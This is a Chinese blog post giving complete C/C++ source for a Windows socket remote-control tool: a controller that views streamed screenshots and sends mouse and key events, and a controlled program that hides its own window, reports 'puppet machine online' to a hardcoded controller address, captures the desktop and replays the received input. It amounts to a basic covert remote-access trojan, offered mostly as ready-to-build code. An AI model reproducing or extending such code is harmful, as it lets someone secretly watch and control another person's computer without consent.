• 远控项目(Windows Socket)


    实现内容(屏幕,鼠标,键盘实时控制)

    控制端:

     1 #pragma once
     2 
     3 #ifndef keybd_H
     4 #define keybd_H
     5 
     6 #include <stdio.h>
     7 #include <stdlib.h>
     8 
     9 int KeyBD(int tch) {
    10     if (tch > 64 && tch < 91) {
    11         return tch;//A~Z大写
    12     }
    13     if (tch > 47 && tch < 58) {
    14         return tch;//0~9数字
    15     }
    16     if (tch > 111 && tch < 124) {
    17         return tch;//F1~F12
    18     }
    19     int mch = 0;
    20     switch (tch) {
    21     case 42:
    22         mch = 106;//乘号
    23         break;
    24     case 43:
    25         mch = 107;//等号
    26         break;
    27     case 45:
    28         mch = 109;//减号
    29         break;
    30     case 46:
    31         mch = 110;//小数点
    32         break;
    33     case 47:
    34         mch = 111;//斜线
    35         break;
    36     case 9:
    37         mch = 9;//制表键
    38         break;
    39     case 13:
    40         mch = 13;//回车键
    41         break;
    42     case 97:
    43         mch = 16;//上档键shift
    44         break;
    45     case 98:
    46         mch = 17;//控制键Ctrl
    47         break;
    48     case 99:
    49         mch = 18;//换挡键Alt
    50         break;
    51     case 100:
    52         mch = 20;//大小写锁定
    53         break;
    54     case 101:
    55         mch = 144;//数字锁定
    56         break;
    57     case 102:
    58         mch = 8;//退格键
    59         break;
    60     case 32:
    61         mch = 32;//空格键
    62         break;
    63     case 103 :
    64         mch = 37;//左方向键
    65         break;
    66     case 104:
    67         mch = 38;//上方向键
    68         break;
    69     case 105:
    70         mch = 39;//右方向键
    71         break;
    72     case 106:
    73         mch = 40;//下方向键
    74         break;
    75     case 107:
    76         mch = 173;//静音
    77         break;
    78     case 27 :
    79         mch = 27;//退出键
    80         break;
    81     }
    82 
    83     return mch;
    84 }
    85 
    86 #endif
    keybd.h
      1 #include <stdio.h>
      2 #include <stdlib.h>
      3 #include <WinSock2.h>
      4 #include <cstring>
      5 #include <Windows.h>
      6 #include <graphics.h>//展示图像
      7 #include <conio.h>//_getch()
      8 #include "keybd.h"//读取控制端按键转换为对应键码头文件
      9 
     10 #pragma warning(disable:4996)
     11 //忽略警告
     12 #pragma comment(lib, "ws2_32.lib")
     13 //加载ws2_32.dll
     14 
     15 #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
     16 //预定义了一个KEYDOWN参数为vk_code 他的定义的含义是判断一个键是否被按下(GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0
     17 //如果按下了就是1,没有按下就是0,然后其它地方用的时候直接用KEYDOWN(vk_code)判断这个键是否按下, 相反弹起来是1按下是0
     18 #define BUFF_SIZE 1024
     19 #define port 1026
     20 //端口
     21 
     22 int main()
     23 {
     24 
     25     WSADATA wsaData;
     26     POINT p;
     27     SOCKET serv, cInt_serv;
     28     int nCount;
     29 
     30     char Path[MAX_PATH];
     31     GetCurrentDirectory(MAX_PATH, Path);
     32     //获取当前可执行文件路径
     33     strcat(Path, "\KiuKiuKiu.jpg");
     34     //得到同可执行文件路径下的图片地址
     35 
     36     if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
     37         //初始化DLL
     38         printf("WSAStartup() Failed: %d
    ", WSAGetLastError());
     39         system("PAUSE");
     40         return -1;
     41     }
     42     serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     43     //初始化套接字
     44     if (serv == INVALID_SOCKET) {
     45         printf("socket() Failed: %d
    ", WSAGetLastError());
     46         system("PAUSE");
     47         return -1;
     48     }
     49 
     50     struct sockaddr_in serv_addr, cInt;
     51     //创建结构体sockaddr_in的结构体变量
     52     memset(&serv_addr, 0, sizeof(serv_addr));
     53     //用0初始化每个字节
     54     serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
     55     //自动响应客户端IP
     56     serv_addr.sin_family = AF_INET;
     57     //使用IPv4
     58     serv_addr.sin_port = htons(port);
     59     //定义端口
     60 
     61     if (bind(serv, (LPSOCKADDR)&serv_addr, sizeof(serv_addr)) == SOCKET_ERROR) {
     62         //将套接字与IP,端口绑定
     63         printf("bind() Failed: %d
    ", WSAGetLastError());
     64         system("PAUSE");
     65         return -1;
     66     }
     67 
     68     if (listen(serv, 20) == SOCKET_ERROR) {
     69         //套接字进入监听状态
     70         printf("listen() Failed: %d
    ", WSAGetLastError());
     71         system("PAUSE");
     72         return -1;
     73     }
     74 
     75     printf("服务器监听开启。
    ");
     76 
     77 
     78     char buf_recv[BUFF_SIZE] = { 0 };
     79     //控制端接受成功消息缓存
     80     char buf_str[BUFF_SIZE] = { 0 };
     81     //控制端接收屏幕缓存
     82     int mLen = sizeof(SOCKADDR);
     83     //接受缓存数据大小
     84 
     85     cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
     86     //接受客户端消息
     87     if (cInt_serv == INVALID_SOCKET) {
     88         printf("accept() Failed: %d
    ", WSAGetLastError());
     89         system("PAUSE");
     90         return -1;
     91     }
     92 
     93     if (recv(cInt_serv, buf_recv, BUFF_SIZE, 0) == SOCKET_ERROR) {
     94     //接受控制端信息
     95         printf("recv() Failed: %d
    ", WSAGetLastError());
     96         system("PAUSE");
     97         return -1;
     98     }
     99 
    100     printf("%s
    ", buf_recv);
    101     printf("IP地址:%s	端口:%d
    ", inet_ntoa(cInt.sin_addr), port);
    102     Sleep(3000);
    103 
    104     closesocket(cInt_serv);
    105 
    106 
    107 
    108     do {
    109         //int n = 0;
    110 
    111         cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    112         if (cInt_serv == INVALID_SOCKET) {
    113             printf("accept() Failed: %d
    ", WSAGetLastError());
    114             system("PAUSE");
    115             return -1;
    116         }
    117 
    118         FILE *fp = fopen(Path, "wb");
    119         //创建并打开路径指定文件(创建图片文件)
    120         if (fp == NULL) {
    121             printf("Open picture failed!
    ");
    122             exit(1);
    123             system("PAUSE");
    124         }
    125 
    126         for (; (nCount = recv(cInt_serv, buf_str, BUFF_SIZE, 0)) > 0;) {
    127         //接收客户端发送的缓存文件,也可以用while
    128             fwrite(buf_str, sizeof(char), BUFF_SIZE, fp);
    129             //将数据写入图片文件
    130             Sleep(2);
    131             //停顿时间,避免粘包或者丢包
    132             //printf("recv!
    ");
    133         }
    134 
    135 
    136         fclose(fp);
    137         closesocket(cInt_serv);
    138 
    139         char arr[5] = { 0 };
    140         char brr[5] = { 0 };
    141         char key[2] = { 0 };
    142 
    143         initgraph(1920, 1080);
    144         // 绘图环境初始化
    145         IMAGE img;
    146         loadimage(&img, _T("KiuKiuKiu.jpg"));
    147         //加载图片
    148         putimage(0, 0, &img);
    149 
    150         for (int i = 0; i < 1;) {
    151             if (KEY_DOWN(MOUSE_MOVED)) {
    152                 //监测左键按下
    153                 key[0] = 1;
    154                 HWND hwnd = GetForegroundWindow();
    155                 //获取当前前台的窗口句柄
    156                 GetCursorPos(&p);
    157                 //获取当前鼠标位置(屏幕坐标)
    158                 ScreenToClient(hwnd, &p);
    159                 //将屏幕坐标转换为客户区坐标(当前程序窗口坐标)
    160                 ltoa(p.x, arr, 10);
    161                 ltoa(p.y, brr, 10);
    162                 //将长整型转换为字符型
    163 
    164                 //    printf("横坐标:%ld
    纵坐标:%ld
    ", p.x, p.y);
    165                 //    Sleep(3000);
    166 
    167                 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    168                 send(cInt_serv, key, 2, 0);
    169                 Sleep(3);
    170                 send(cInt_serv, arr, 5, 0);
    171                 Sleep(3);
    172                 send(cInt_serv, brr, 5, 0);
    173                 //发送信息
    174                 memset(key, 0, 2);
    175                 memset(arr, 0, 5);
    176                 memset(brr, 0, 5);
    177                 //重置
    178                 closesocket(cInt_serv);
    179                 //断开连接,清除套接字
    180                 //n++;
    181                 break;
    182                 //跳出死循环
    183             }
    184             if (KEY_DOWN(MOUSE_EVENT)) {
    185                 //监测右键按下
    186                 key[0] = 2;
    187                 HWND hwnd = GetForegroundWindow();
    188                 GetCursorPos(&p);
    189                 ScreenToClient(hwnd, &p);
    190                 ltoa(p.x, arr, 10);
    191                 ltoa(p.y, brr, 10);
    192                 //    printf("横坐标:%ld
    纵坐标:%ld
    ", p.x, p.y);
    193                 //    Sleep(3000);
    194                 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    195                 send(cInt_serv, key, 2, 0);
    196                 Sleep(3);
    197                 send(cInt_serv, arr, 5, 0);
    198                 Sleep(3);
    199                 send(cInt_serv, brr, 5, 0);
    200                 memset(key, 0, 2);
    201                 memset(arr, 0, 5);
    202                 memset(brr, 0, 5);
    203                 closesocket(cInt_serv);
    204                 //n++;
    205                 break;
    206             }
    207             if (KEY_DOWN(MOUSE_WHEELED)) {
    208                 key[0] = 3;
    209                 HWND hwnd = GetForegroundWindow();
    210                 GetCursorPos(&p);
    211                 ScreenToClient(hwnd, &p);
    212                 ltoa(p.x, arr, 10);
    213                 ltoa(p.y, brr, 10);
    214                 //    printf("横坐标:%ld
    纵坐标:%ld
    ", p.x, p.y);
    215                 //    Sleep(3000);
    216                 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    217                 send(cInt_serv, key, 2, 0);
    218                 Sleep(3);
    219                 send(cInt_serv, arr, 5, 0);
    220                 Sleep(3);
    221                 send(cInt_serv, brr, 5, 0);
    222                 memset(key, 0, 2);
    223                 memset(arr, 0, 5);
    224                 memset(brr, 0, 5);
    225                 closesocket(cInt_serv);
    226                 //n++;
    227                 break;
    228             }
    229         }
    230 #if 0
    231             if (n == 0) {
    232                 memset(key, 0, 2);
    233                 memset(arr, 0, 5);
    234                 memset(brr, 0, 5);
    235                 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    236                 send(cInt_serv, key, 2, 0);
    237                     Sleep(3);
    238                     send(cInt_serv, arr, 5, 0);
    239                     Sleep(3);
    240                     send(cInt_serv, brr, 5, 0);
    241                 closesocket(cInt_serv);
    242             }
    243             Sleep(50);
    244 #endif
    245         int ch = 0;
    246         int m = 0;
    247         char dstr[2] = { 0 };
    248         //存储键盘活动
    249         if (_kbhit()) {
    250         //检测是否有键盘操作
    251             ch = _getch();
    252             //获取点击键盘字符
    253             dstr[0] = KeyBD(ch);
    254             //转换存储键盘操作数据
    255             cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    256             send(cInt_serv, dstr, 2, 0);
    257             memset(dstr, 0, 2);
    258             closesocket(cInt_serv);
    259             m++;
    260         }
    261         if (m == 0) {
    262         //当无键盘操作时,向客户端发送无效操作,避免接收到下一循环的数据。
    263             memset(dstr, 0, 2);
    264             cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
    265             send(cInt_serv, dstr, 2, 0);
    266             closesocket(cInt_serv);
    267         }
    268         Sleep(10);
    269     } while (1);
    270     closesocket(serv);
    271     //断开连接,清除套接字
    272     WSACleanup();
    273     //终止DLL使用
    274 
    275     system("PAUSE");
    276     return 0;
    277 }
    控制端

    被控端:

     1 #pragma once
     2 
     3 #ifndef ScreenShot_H
     4 #define ScreenShot_H
     5 
     6 #include <graphics.h>                     //展示结果
     7 #include <atlimage.h>                     //函数CImage
     8 #include <Windows.h>                      //获取桌面的宽高函数
     9 
    10 using namespace ATL;
    11 
    12 void SSBB() {
    13     //桌面的宽和高
    14     int Width, Height;
    15     //获取桌面的宽高并赋值
    16     Width = GetSystemMetrics(SM_CXSCREEN);
    17     Height = GetSystemMetrics(SM_CYSCREEN);
    18     //取得桌面DC,在这里DC是空
    19     HDC habc1 = GetDC(NULL);
    20     //定义一个和桌面大小的img对象
    21     IMAGE img(Width, Height);
    22     //把img图像给桌面DC
    23     HDC hbac2 = GetImageHDC(&img);
    24     //复制区域hbac2到habc1中,赋值给DC,使DC为桌面图
    25     StretchBlt(hbac2, 0, 0, Width, Height, habc1, 0, 0, Width, Height, SRCCOPY);
    26     HBITMAP hBC = (HBITMAP)::GetCurrentObject(hbac2, OBJ_BITMAP);
    27     //将HBITMAP绑定到CImage对象
    28     CImage  img1;
    29     img1.Attach(hBC);
    30 
    31 
    32     //保存为jpg
    33     img1.Save(_T("BiuBiuBiu.jpg"));
    34     //关闭图形系统
    35     closegraph();
    36 }
    37 
    38 #endif
    ScreenShot
      1 #include <stdio.h>
      2 #include <stdlib.h>
      3 #include <WinSock2.h>
      4 #include "ShotScreen.h"//屏幕截取
      5 
      6 #pragma warning(disable:4996)
      7 //警告忽略
      8 #pragma comment(lib, "ws2_32.lib")
      9 //加载ws2_32.dll
     10 
     11 #define port 1026
     12 //端口
     13 #define BUFF_SIZE 1024
     14 //传递缓存数据数组大小
     15 
     16 void ExecutiveCommand(int m, int n, char *array);
     17 
     18 int main()
     19 {
     20     WSADATA WSAData;
     21     SOCKET client;
     22     char str[] = "127.0.0.1";
     23     //控制端IP
     24     FILE *fp;
     25     int nCount;
     26     if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0) {
     27         //初始化DLL
     28         printf("WSAStartup() Failed: %d
    ", WSAGetLastError());
     29         system("PAUSE");
     30         return -1;
     31     }
     32 
     33     client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     34     //创建套接字
     35     if (client == INVALID_SOCKET) {
     36         //查错
     37         printf("socket() Failed: %d
    ", WSAGetLastError());
     38         system("PAUSE");
     39         return -1;
     40     }
     41 
     42     struct sockaddr_in client_addr;
     43     //创建sockaddr_in结构体变量
     44     memset(&client_addr, 0, sizeof(client_addr));
     45     //初始化,每个字节都使用0填充
     46     client_addr.sin_addr.s_addr = inet_addr(str);
     47     //具体IP地址
     48     client_addr.sin_family = AF_INET;
     49     //使用IPv4地址
     50     client_addr.sin_port = htons(port);
     51     //端口
     52     
     53     bool f = false;
     54     HWND hwnd = GetForegroundWindow();
     55     //获取最前端的窗口的句柄
     56     ShowWindow(hwnd, f);
     57     //隐藏窗口
     58     
     59     //char buf[BUFF_SIZE] = { 0 };
     60     char arr[5] = { 0 };
     61     char brr[5] = { 0 };
     62     char key[2] = { 0 };
     63     long x, y;
     64     long mrr[3] = { 0 };
     65     char dstr[2] = { 0 };
     66     char mstr[BUFF_SIZE] = { 0 };
     67     //缓冲文件
     68     char sendbuf[20] = "傀儡机已上线。";
     69 
     70     char Path[MAX_PATH];
     71     GetCurrentDirectory(MAX_PATH, Path);
     72     //获取当前软件路径
     73     strcat(Path, "\BiuBiuBiu.jpg");
     74     //得到截图路径
     75 
     76     client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     77     //创建套接字
     78     if (client == INVALID_SOCKET) {
     79         printf("socket() Failed: %d
    ", WSAGetLastError());
     80         system("PAUSE");
     81         return -1;
     82     }
     83     if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
     84         //建立连接
     85         printf("connect() Failed: %d
    ", WSAGetLastError());
     86         system("PAUSE");
     87         return -1;
     88     }
     89 
     90 
     91     if (send(client, sendbuf, 20, 0) == SOCKET_ERROR) {
     92         //发送数据
     93         printf("send2() Failed: %d
    ", WSAGetLastError());
     94         system("PAUSE");
     95         return -1;
     96     }
     97 
     98     closesocket(client);
     99     //关闭套接字
    100 
    101     do {
    102         client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    103         //创建套接字
    104         if (client == INVALID_SOCKET) {
    105             printf("socket() Failed: %d
    ", WSAGetLastError());
    106             system("PAUSE");
    107             return -1;
    108         }
    109         if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
    110             //建立连接
    111             printf("connect() Failed: %d
    ", WSAGetLastError());
    112             system("PAUSE");
    113             return -1;
    114         }
    115 
    116         SSBB();
    117         //对屏幕截图
    118 
    119         if ((fp = fopen(Path, "rb")) == NULL) {
    120             //打开指定文件
    121             printf("Open picture failed!
    ");
    122             exit(1);
    123             system("PAUSE");
    124         }
    125 
    126         for (; (nCount = fread(mstr, sizeof(char), BUFF_SIZE, fp)) > 0;) {
    127             //使用循环获取文件数据,直到文件末尾
    128             if (send(client, mstr, nCount, 0) == SOCKET_ERROR) {
    129                 printf("send1() Failed: %d
    ", WSAGetLastError());
    130                 system("PAUSE");
    131                 return -1;
    132             }
    133             printf("PASS!
    ");
    134         }
    135 
    136         fclose(fp);
    137         //关闭文件流指针
    138         shutdown(client, SD_SEND);
    139         //文件读取完毕,断开输出流
    140         recv(client, mstr, BUFF_SIZE, 0);
    141         //阻塞,等待控制端接受数据完毕
    142         closesocket(client);
    143         //断开连接,清除套接字
    144 
    145         client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    146         //创建套接字
    147         if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
    148             //建立连接(鼠标数据)
    149             printf("connect() Failed: %d
    ", WSAGetLastError());
    150             system("PAUSE");
    151             return -1;
    152         }
    153         if (recv(client, key, 2, 0) == SOCKET_ERROR) {
    154             //等待接受控制端鼠标数据
    155             printf("recv() Failed: %d
    ", WSAGetLastError());
    156             return -1;
    157         }
    158         if (recv(client, arr, 5, 0) == SOCKET_ERROR) {
    159             //等待接受控制端鼠标数据
    160             printf("recv() Failed: %d
    ", WSAGetLastError());
    161             return -1;
    162         }
    163         if (recv(client, brr, 5, 0) == SOCKET_ERROR) {
    164             //等待接受控制端鼠标数据
    165             printf("recv() Failed: %d
    ", WSAGetLastError());
    166             return -1;
    167         }
    168 
    169         x = atol(arr);
    170         y = atol(brr);
    171 
    172         ExecutiveCommand(x, y, key);
    173         //键盘模拟函数
    174         memset(arr, 0, 5);
    175         memset(brr, 0, 5);
    176         memset(key, 0, 2);
    177         //填充0到键盘缓存数组
    178         closesocket(client);
    179         //断开连接,清除套接字
    180 
    181         client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    182         //创建套接字
    183         if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
    184             //建立连接(键盘数据)
    185             printf("connect() Failed: %d
    ", WSAGetLastError());
    186             system("PAUSE");
    187             return -1;
    188         }
    189         if (recv(client, dstr, 2, 0) == SOCKET_ERROR) {
    190             //等待接受控制端键盘数据
    191             printf("recv() Failed: %d
    ", WSAGetLastError());
    192             return -1;
    193         }
    194         keybd_event(dstr[0], 0, 0, 0);
    195         //按下对应键
    196         keybd_event(dstr[0], 0, KEYEVENTF_KEYUP, 0);
    197         //抬起对应键
    198         closesocket(client);
    199         //断开连接,清除套接字
    200         Sleep(10);
    201     } while (1);
    202     WSACleanup();
    203     //终止DLL使用
    204     system("PAUSE");
    205     return 0;
    206 }
    207 
    208 void ExecutiveCommand(int m, int n, char *array) {
    209     if (array[0] == 1) {
    210         //printf("横坐标:%ld
    纵坐标:%ld", m, n);
    211         //Sleep(2000);
    212         ::SetCursorPos(m, n);
    213         //设置鼠标位置
    214         mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    215         //模拟鼠标左键单击
    216     }
    217     if (array[0] == 2) {
    218         //printf("横坐标:%ld
    纵坐标:%ld", m, n);
    219         //Sleep(2000);
    220         ::SetCursorPos(m, n);
    221         //设置鼠标位置
    222         mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    223         //模拟鼠标右键单击
    224     }
    225 
    226     if (array[0] == 3) {
    227         //printf("收到 3
    ");
    228         //printf("横坐标:%ld
    纵坐标:%ld", m, n);
    229         //Sleep(2000);
    230         ::SetCursorPos(m, n);
    231         //设置鼠标位置
    232         mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
    233         mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
    234         //模拟滑轮键单击
    235     }
    236 }
    被控端

    这里面因为涉及到VS2017没有的几个头文件,需要在控制端安装图形插件添加头文件。点击下载

    下面找了一个按钮程序,稍加修改,可以添加到控制端主程序中。

     1 #include<cmath>
     2 #include<ctime>
     3 #include<cstdio>
     4 #include<cstdlib>
     5 #include<windows.h>
     6 #include<algorithm>
     7 using namespace std;
     8 
     9 #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    10 //不要问我这是什么
    11 
    12 struct Button {//按钮类型
    13     int x, y, color;//按钮位置和颜色
    14     const char *name;//名字
    15     int len;//名字的长度
    16 };
    17 
    18 void GetPos(POINT &pt) {//获得鼠标相对于屏幕的位置
    19 //POINT是自带类型
    20     HWND hwnd = GetForegroundWindow();
    21     GetCursorPos(&pt);
    22     ScreenToClient(hwnd, &pt);
    23     pt.y = pt.y / 16, pt.x = pt.x / 16;//除以16,想不明白自己把它去掉试试
    24 }
    25 
    26 void color(int a) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), a); }
    27 //修改颜色
    28 //想知道每个颜色的代码就for循环1到256看看
    29 void gto(int x, int y)//将打字的光标移到x行y列
    30 {
    31     COORD pos; pos.X = y * 2; pos.Y = x;
    32     //必须反过来
    33     //y*2是因为汉字是2个字符
    34     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
    35 }
    36 
    37 Button NewButton(int x, int y, int color, const char *name) {
    38     Button t;
    39     t.x = x, t.y = y, t.name = name;
    40     t.color = color;
    41     t.len = strlen(name);
    42     return t;//新建按钮,返回它
    43 }
    44 
    45 bool Preserve(Button A) {
    46     //维护一个按钮
    47     //如果要使这个起作用必须在循环中不断执行它
    48     gto(A.x, A.y), color(A.color), printf("%s", A.name);
    49     POINT pt;
    50     GetPos(pt);
    51     if (pt.y == A.x && (pt.x >= A.y&&pt.x <= A.y + A.len / 2)) {
    52         color(A.color + 16), gto(A.x, A.y), printf("%s", A.name);
    53         if (KEY_DOWN(MOUSE_MOVED)) return 1;//检测到点击按钮
    54     }
    55     return 0;//没有检测到
    56 }
    57 
    58 int main() {
    59     gto(1, 1), color(4);
    60     printf("[没有一个作家会为一个流派写作]请点击开启远控,开始准备连接。
    ");
    61     Button A = NewButton(3, 0, 7, "开启远控");
    62     Button B = NewButton(3, 31, 7, "退出");
    63     while (1) {
    64         if (Preserve(A)) {
    65             gto(4, 0);
    66             color(2);
    67             printf("远控已开启!!
    ");
    68             Sleep(5000);
    69         }
    70         if (Preserve(B)) {
    71             gto(4, 0);
    72             color(7);
    73             printf("拜拜~
    ");
    74             Sleep(1000);
    75             break;
    76         }
    77         Sleep(10);//不写这个会很闪
    78     }
    79 }
    按钮程序

     颜色,触发事件什么的,自己有兴趣就去改就行。

    控制端和被控端的注释基本很清楚了,如果有什么问题可以留言或者加我QQ问。

  • 相关阅读:
    ThinkPad R400 windows 2008 下网卡、蓝牙驱动程序安装过程记录
    google 小百货工具
    今天发现数据库到处都有,还是学习一种比较好
    今天玩玩Android == 了解一下
    p 同学推荐的 书 读完了 == 感慨颇深,霍霍
    new confirm and new idea == need time
    娑罗双树,半枯半荣,娑罗花开,盛者必衰
    使用VC6.0 连接PostgreSQL数据库
    vc6操作PostgreSQL 测试下异步通知接口
    准备这几天看的内容
  • 原文地址:https://www.cnblogs.com/Mayfly-nymph/p/9568956.html
Copyright © 2020-2023  润新知